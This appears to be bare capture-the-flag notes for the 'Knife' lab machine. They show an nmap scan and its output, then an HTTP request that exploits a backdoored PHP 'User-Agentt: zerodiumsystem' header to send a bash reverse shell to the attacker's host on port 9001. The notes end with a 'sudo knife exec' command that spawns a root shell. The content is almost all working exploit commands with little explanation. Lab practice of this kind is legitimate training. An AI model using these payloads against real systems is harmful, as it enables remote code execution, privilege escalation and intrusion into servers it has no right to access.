Knife

sudo nmap -sCV -p- -vvv 10.10.10.242

Discovered open port 22/tcp on 10.10.10.242
Discovered open port 80/tcp on 10.10.10.242

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjEtN3+WZzlvu54zya9Q+D0d/jwjZT2jYFKwHe0icY7plEWSAqbP+b3ijRL6kv522KEJPHkfXuRwzt5z4CNpyUnqr6nQINn8DU0Iu/UQby+6OiQIleNUCYYaI+1mV0sm4kgmue4oVI1Q3JYOH41efTbGDFHiGSTY1lH3HcAvOFh75dCID0564T078p7ZEIoKRt1l7Yz+GeMZ870Nw13ao0QLPmq2HnpQS34K45zU0lmxIHqiK/IpFJOLfugiQF52Qt6+gX3FOjPgxk8rk81DEwicTrlir2gJiizAOchNPZjbDCnG2UqTapOm292Xg0hCE6H03Ri6GtYs5xVFw/KfGSGb7OJT1jhitbpUxRbyvP+pFy4/8u6Ty91s98bXrCyaEy2lyZh5hm7MN2yRsX+UbrSo98UfMbHkKnePg7/oBhGOOrUb77/DPePGeBF5AT029Xbz90v2iEFfPdcWj8SP/p2Fsn/qdutNQ7cRnNvBVXbNm0CpiNfoHBCBDJ1LR8p8k=
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKC3ouVMPI/5R2Fsr5b0uUQGDrAa6ev8uKKp5x8wdqPXvM1tr4u0GchbVoTX5T/PfJFi9UpeDx/uokU3chqcFc=
|   256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJbkxEqMn++HZ2uEvM0lDZy+TB8B8IAeWRBEu3a34YIb
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

RCE

GET / HTTP/1.1
Host: 10.10.10.242
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.16.7/9001 0>&1'");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

sudo knife exec –exec “exec ‘/bin/sh -i’ “